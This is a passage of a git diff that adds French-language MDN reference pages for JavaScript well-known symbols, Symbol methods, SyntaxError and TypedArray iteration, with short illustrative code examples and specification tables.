Cependant, si Symbol.match vaut false, cette vérification isRegExp indiquera que l'objet à prendre en compte n'est pas une expression rationnelle. Les méthodes startsWith et endsWith ne déclencheront donc pas d'exception TypeError.

+ +
var re = /toto/;
+re[Symbol.match] = false;
+"/toto/".startsWith(re); // true
+"/truc/".endsWith(re);   // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.match', 'Symbol.match')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.match', 'Symbol.match')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.match")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.replace")}}
    • +
  • {{jsxref("Symbol.search")}}
    • +
  • {{jsxref("Symbol.split")}}
    • +
  • {{jsxref("RegExp.@@match", "RegExp.prototype[@@match]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.html b/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.html new file mode 100644 index 0000000000..93b8428c10 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/matchall/index.html @@ -0,0 +1,67 @@ +--- +title: Symbol.matchAll +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/matchAll +tags: + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/matchAll +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.matchAll renvoie un itérateur qui fournit l'ensemble des correspondances entre une expression rationnelle et une chaîne de caractères. Cette fonction est implicitement appelée par la méthode {{jsxref("String.prototype.matchAll()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-matchall.html")}}
+ + + +

Description

+ +
+

Ce symbole est utilisé par {{jsxref("String.prototype.matchAll()")}} et plus particulièrement par {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}}. Les deux lignes qui suivent renverront le même résultat :

+ +
'abc'.matchAll(/a/);
+
+/a/[Symbol.matchAll]('abc');
+ +

Cette méthode existe afin de personnaliser le comportement des correspondances pour les sous-classes de {{jsxref("RegExp")}}.

+ +

{{js_property_attributes(0,0,0)}}

+
+ +

Exemples

+ +

Voir les pages {{jsxref("String.prototype.matchAll()")}} et {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}} pour plus d'exemples.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-symbol.matchall', 'Symbol.matchAll')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.matchAll")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.matchAll()")}}
    • +
  • {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/replace/index.html b/files/fr/web/javascript/reference/global_objects/symbol/replace/index.html new file mode 100644 index 0000000000..e469681898 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/replace/index.html @@ -0,0 +1,59 @@ +--- +title: Symbol.replace +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/replace +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/replace +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.replace définit la méthode utilisée pour remplacer les correspondances trouvées dans une chaîne de caractères. Cette fonction est appelée par la méthode {{jsxref("String.prototype.replace()")}}.

+ +

Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}} et {{jsxref("String.prototype.replace()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-replace.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.replace', 'Symbol.replace')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.replace', 'Symbol.replace')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.replace")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.match")}}
    • +
  • {{jsxref("Symbol.search")}}
    • +
  • {{jsxref("Symbol.split")}}
    • +
  • {{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/search/index.html b/files/fr/web/javascript/reference/global_objects/symbol/search/index.html new file mode 100644 index 0000000000..02fed384b8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/search/index.html @@ -0,0 +1,59 @@ +--- +title: Symbol.search +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/search +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/search +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.search définit la méthode qui renvoie l'indice indiquant la position d'une correspondance trouvée dans une chaîne de caractères grâce à une expression rationnelle. Cette fonction est appelée par la méthode {{jsxref("String.prototype.search()")}}.

+ +

Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}} et {{jsxref("String.prototype.search()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-search.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.search', 'Symbol.search')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.search', 'Symbol.search')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.search")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.match")}}
    • +
  • {{jsxref("Symbol.replace")}}
    • +
  • {{jsxref("Symbol.split")}}
    • +
  • {{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/species/index.html b/files/fr/web/javascript/reference/global_objects/symbol/species/index.html new file mode 100644 index 0000000000..771782df4a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/species/index.html @@ -0,0 +1,73 @@ +--- +title: Symbol.species +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/species +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/species +--- +
{{JSRef}}
+ +

Le symbole Symbol.species correspond à une fonction utilisée comme constructeur pour créer des objets dérivés.

+ +
{{EmbedInteractiveExample("pages/js/symbol-species.html")}}
+ + + +

Description

+ +

L'accesseur species permettent aux classes filles de surcharger le constructeur par défaut des objets.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Exemples

+ +

Dans certains cas, vous pouvez avoir besoin de renvoyer {{jsxref("Array")}} pour les objets de votre classe dérivée MonArray. Cela permet par exemple d'utiliser le constructeur par défaut lors d'un appel à {{jsxref("Array.map", "map()")}}. De cette façon, ces méthodes renverront un objet Array plutôt qu'un objet MonArray. Grâce au symbole species, vous pouvez donc faire :

+ +
class MonArray extends Array {
+  // On surcharge species avec le constructeur parent Array
+  static get [Symbol.species]() { return Array; }
+}
+var a = new MonArray(1,2,3);
+var mapped = a.map(x => x * x);
+
+console.log(mapped instanceof MonArray); // false
+console.log(mapped instanceof Array);    // true
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.species', 'Symbol.species')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.species', 'Symbol.species')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.species")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.@@species", "Map[@@species]")}}
    • +
  • {{jsxref("Set.@@species", "Set[@@species]")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/split/index.html b/files/fr/web/javascript/reference/global_objects/symbol/split/index.html new file mode 100644 index 0000000000..4be991bee2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/split/index.html @@ -0,0 +1,59 @@ +--- +title: Symbol.split +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/split +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/split +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.split définit la méthode qui est utilisée pour découper une chaîne de caractères à l'emplacement où une correspondance a été trouvée grâce à une expression rationnelle. Cette fonction est appelée par la méthode {{jsxref("String.prototype.split()")}}.

+ +

Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}} et {{jsxref("String.prototype.split()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-split.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.split', 'Symbol.split')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.split', 'Symbol.split')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.split")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.match")}}
    • +
  • {{jsxref("Symbol.replace")}}
    • +
  • {{jsxref("Symbol.search")}}
    • +
  • {{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.html new file mode 100644 index 0000000000..cd3aaed1ed --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.html @@ -0,0 +1,88 @@ +--- +title: Symbol.toPrimitive +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toPrimitive +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive +--- +
{{JSRef}}
+ +

Le symbole « connu » Symbol.toPrimitive définit une fonction qui est appelée pour convertir un objet en une valeur primitive.

+ +
{{EmbedInteractiveExample("pages/js/symbol-toprimitive.html")}}
+ + + +

Description

+ +

Lorsqu'on convertit un objet en une valeur primitive et que l'objet possède une propriété Symbol.toPrimitive dont la valeur est une fonction, la fonction est appelée avec une chaîne de caractère (hint) qui définit le type qu'on privilégie pour la valeur primitive. L'argument hint peut prendre l'une des valeurs suivantes : "number", "string" ou "default".

+ +

{{js_property_attributes(0,0,0)}}

+ +

Exemples

+ +

Dans l'exemple qui suit, on voit comment la propriété Symbol.toPrimitive peut modifier la valeur primitive obtenue lors de la conversion d'un objet.

+ +
// Premier cas avec un objet sans Symbol.toPrimitive.
+let obj1 = {};
+console.log(+obj1);     // NaN
+console.log(`${obj1}`); // "[object Object]"
+console.log(obj1 + ""); // "[object Object]"
+
+// Second cas : l'objet a une propriété Symbol.toPrimitive
+var obj2 = {
+  [Symbol.toPrimitive](hint) {
+    if (hint === "number") {
+      return 10;
+    }
+    if (hint === "string") {
+      return "coucou";
+    }
+    return true;
+  }
+};
+console.log(+obj2);     // 10       -- hint vaut "number"
+console.log(`${obj2}`); // "coucou" -- hint vaut "string"
+console.log(obj2 + ""); // true     -- hint vaut "default"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationEtatCommentaires
{{SpecName('ES2015', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.toPrimitive")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.@@toPrimitive", "Date.prototype[@@toPrimitive]")}}
    • +
  • {{jsxref("Symbol.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}}
    • +
  • {{jsxref("Object.prototype.toString()")}}
    • +
  • {{jsxref("Object.prototype.valueOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/tosource/index.html b/files/fr/web/javascript/reference/global_objects/symbol/tosource/index.html new file mode 100644 index 0000000000..1816fe5c24 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/tosource/index.html @@ -0,0 +1,60 @@ +--- +title: Symbol.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toSource +tags: + - JavaScript + - Méthode + - Non-standard + - Prototype + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

La méthode toSource() renvoie une chaîne de caractères représentant le code source de l'objet.

+ +

L'utilisation de cette méthode est généralement interne au moteur JavaScript.

+ +

Syntaxe

+ +
Symbol.toSource();
+
+var sym = Symbol();
+sym.toSource();
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le code source de l'objet.

+ +

Description

+ +

La méthode toSource renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet Symbol natif, toSource() renvoie la chaîne suivante, indiquant que le code source n'est pas disponible : + + 
    "function Symbol() {
+   [native code]
+}"
    +
    • +
  • Pour les instances de Symbol, toSource() renvoie une chaîne représentant le code source : + 
    "Symbol()"
    +
    • +
+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucun standard.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}} {{Non-standard_inline()}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.html b/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.html new file mode 100644 index 0000000000..ee2778bbde --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/tostring/index.html @@ -0,0 +1,82 @@ +--- +title: Symbol.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toString +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractères représentant l'objet Symbol.

+ +
{{EmbedInteractiveExample("pages/js/symbol-prototype-tostring.html")}}
+ + + +

Syntaxe

+ +
Symbol().toString();
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente l'objet {{jsxref("Symbol")}}.

+ +

Description

+ +

L'objet {{jsxref("Symbol")}} surcharge la méthode toString() d'{{jsxref("Object")}} et n'hérite pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets Symbol, la méthode toString() renvoie représentation de l'objet sous forme d'une chaîne de caractères.

+ +

Concaténation de chaînes et symboles

+ +

Bien qu'il soit possible d'appeler toString() pour les symboles, il n'est pas possible de concaténer une chaîne de caractères avec ce type d'objet :

+ +
Symbol("toto") + "machin";  // TypeError : Impossible de convertir un symbole en chaîne de caractères
+ +

Exemples

+ +
Symbol("desc").toString();   // "Symbol(desc)"
+
+// symboles connus
+Symbol.iterator.toString();  // "Symbol(Symbol.iterator)
+
+// symboles globaux
+Symbol.for("toto").toString() // "Symbol(toto)"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.html b/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.html new file mode 100644 index 0000000000..ba2e53b0b7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.html @@ -0,0 +1,93 @@ +--- +title: Symbol.toStringTag +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toStringTag +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.toStringTag est une propriété qui est une chaîne de caractères qui est utilisée pour la description textuelle par défaut d'un objet. Ce symbole est utilisé par le moteur JavaScript via la méthode {{jsxref("Object.prototype.toString()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-tostringtag.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

La plupart des types JavaScript ont des étiquettes par défaut :

+ +
Object.prototype.toString.call('toto');    // "[object String]"
+Object.prototype.toString.call([1, 2]);    // "[object Array]"
+Object.prototype.toString.call(3);         // "[object Number]"
+Object.prototype.toString.call(true);      // "[object Boolean]"
+Object.prototype.toString.call(undefined); // "[object Undefined]"
+Object.prototype.toString.call(null);      // "[object Null]"
+// etc.
+
+ +

D'autres ont le symbole natif toStringTag défini :

+ +
Object.prototype.toString.call(new Map());         // "[object Map]"
+Object.prototype.toString.call(function* () {});   // "[object GeneratorFunction]"
+Object.prototype.toString.call(Promise.resolve()); // "[object Promise]"
+// etc.
+
+ +

Lorsqu'on crée des classes personnalisées, JavaScript utilise l'étiquette "Object" par défaut :

+ +
class ValidatorClass {}
+
+Object.prototype.toString.call(new ValidatorClass()); // "[object Object]"
+
+ +

Si on utilise le symbole toStringTag on peut définir une étiquette personnalisée :

+ +
class ValidatorClass {
+  get [Symbol.toStringTag]() {
+    return "Validator";
+  }
+}
+
+Object.prototype.toString.call(new ValidatorClass()); // "[object Validator]"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.toStringTag")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.html b/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.html new file mode 100644 index 0000000000..b026e13a40 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.html @@ -0,0 +1,93 @@ +--- +title: Symbol.unscopables +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/unscopables +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/unscopables +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.unscopables est utilisé afin de définir les noms des propriétés propres et héritées qui sont exclues de l'objet lors de l'utilisation de with sur l'objet en question.

+ +
{{EmbedInteractiveExample("pages/js/symbol-unscopables.html")}}
+ + + +

Description

+ +

Le symbole @@unscopables (Symbol.unscopables) peut être défini sur n'importe quel objet afin de ne pas exposer certaines propriétés lors des liaisons lexicales avec with. Note : en mode strict, l'instruction with n'est pas disponible et ce symbole est donc probablement moins nécessaire.

+ +

En définissant une propriété comme true dans un objet unscopables, cela exclura la propriété de la portée lexicale. En définissant une propriété comme false, celle-ci pourra faire partie de la portée lexicale et être manipulée dans un bloc with.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Exemples

+ +

Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode  {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec with, "keys" serait désormais la méthode et non la variable. C'est là que le symbole natif @@unscopables Array.prototype[@@unscopables] intervient et empêche d'explorer ces méthodes avec with.

+ +
var keys = [];
+
+with(Array.prototype) {
+  keys.push("something");
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]
+ +

On peut également manipuler unscopables sur ses propres objets :

+ +
var obj = {
+  toto: 1,
+  truc: 2
+};
+
+obj[Symbol.unscopables] = {
+  toto: false,
+  truc: true
+};
+
+with(obj) {
+  console.log(toto); // 1
+  console.log(truc); // ReferenceError: truc is not defined
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.unscopables', 'Symbol.unscopables')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.unscopables', 'Symbol.unscopables')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.unscopables")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.html b/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.html new file mode 100644 index 0000000000..20e41ab280 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/valueof/index.html @@ -0,0 +1,64 @@ +--- +title: Symbol.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/valueOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive correspondant à l'objet Symbol.

+ +

Syntaxe

+ +
Symbol().valueOf();
+
+ +

Valeur de retour

+ +

La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué.

+ +

Description

+ +

La méthode valueOf de {{jsxref("Symbol")}} renvoie une valeur dont le type est le type primitif symbole à partir de l'objet Symbol donné.

+ +

JavaScript appelle la méthode valueOf afin de convertir l'objet en une valeur primitive. La plupart du temps, il n'est pas nécessaire d'appeler explicitement la méthode valueOf. JavaScript l'appelle automatiquement dans les cas où une valeur primitive est attendue.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.valueOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.valueOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/syntaxerror/index.html b/files/fr/web/javascript/reference/global_objects/syntaxerror/index.html new file mode 100644 index 0000000000..2f362a9467 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/syntaxerror/index.html @@ -0,0 +1,133 @@ +--- +title: SyntaxError +slug: Web/JavaScript/Reference/Objets_globaux/SyntaxError +tags: + - Error + - JavaScript + - Object + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError +--- +
{{JSRef}}
+ +

L'objet SyntaxError représente une erreur qui se produit lors de l'interprétation d'un code dont la syntaxe est invalide.

+ +

Description

+ +

Une exception SyntaxError est levée lorsque le moteur JavaScript rencontre des entités lexicales invalide ou dans un ordre invalide par rapport à la grammaire du langage.

+ +

Syntaxe

+ +
new SyntaxError([message[, nomFichier[, numLigne]]])
+ +

Paramètres

+ +
+
message{{optional_inline}}
+
Une description, lisible par un humain, de l'erreur.
+
nomFichier {{optional_inline}}{{non-standard_inline}}
+
Le nom du fichier contenant le code provoquant l'erreur.
+
numLigne {{optional_inline}}{{non-standard_inline}}
+
Le numéro de la ligne du code qui a provoqué l'exception.
+
+ +

Propriétés

+ +
+
{{jsxref("SyntaxError.prototype")}}
+
Cette méthode permet d'ajouter des propriétés aux instance de SyntaxError.
+
+ +

Méthodes

+ +

L'objet global SyntaxError ne contient pas de méthodes directes. En revanche, il hérite de méthodes grâce à sa chaîne de prototypes.

+ +

Instances de SyntaxError

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype', 'Propriétés')}}
+ +

Méthodes

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype', 'Méthodes')}}
+ +

Exemples

+ +

Intercepter une exception SyntaxError

+ +
try {
+  eval('toto truc');
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "missing ; before statement"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "Scratchpad/1"
+  console.log(e.lineNumber);             // 1
+  console.log(e.columnNumber);           // 4
+  console.log(e.stack);                  // "@Scratchpad/1:2:3\n"
+}
+
+ +

Créer une exception SyntaxError

+ +
try {
+  throw new SyntaxError('Coucou', 'unFichier.js', 10);
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "Coucou"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "unFichier.js"
+  console.log(e.lineNumber);             // 10
+  console.log(e.columnNumber);           // 0
+  console.log(e.stack);                  // "@Scratchpad/2:11:9\n"
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.SyntaxError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("SyntaxError.prototype")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.html new file mode 100644 index 0000000000..1a209ec17d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.html @@ -0,0 +1,86 @@ +--- +title: 'TypedArray.prototype[@@iterator]()' +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/@@iterator +tags: + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator +--- +
{{JSRef}}
+ +

La valeur initiale de la propriété @@iterator est le même objet fonction que la valeur initiale de {{jsxref("TypedArray.prototype.values()", "values")}}.

+ +

Syntaxe

+ +
typedarray[Symbol.iterator]()
+ +

Valeur de retour

+ +

Une fonction d'itération sur le tableau typé, par défaut, c'est la fonction {{jsxref("TypedArray.prototype.values()","values()")}}.

+ +

Exemples

+ +

Parcourir un tableau typé avec for...of

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+// prérequis : le navigateur doit supporter les boucles
+// for..of et les variables dont la portée est définie
+// par let
+for (let n of arr) {
+  console.log(n);
+}
+
+ +

Autre méthode d'itération

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}{{Spec2('ES6')}}Définition initiale
{{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.@@iterator")}}

+ +

Voir aussi

+ +
    +
  • Les tableaux typés en JavaScript
    • +
  • {{jsxref("TypedArray")}}
    • +
  • {{jsxref("TypedArray.prototype.entries()")}}
    • +
  • {{jsxref("TypedArray.prototype.keys()")}}
    • +
  • {{jsxref("TypedArray.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.html new file mode 100644 index 0000000000..0cbd8761a6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.html @@ -0,0 +1,88 @@ +--- +title: 'get TypedArray[@@species]' +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/@@species +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@species +--- +
{{JSRef}}
+ +

La propriété d'accesseur TypedArray[@@species] renvoie le constructeur du tableau typé.

+ +

Syntaxe

+ +
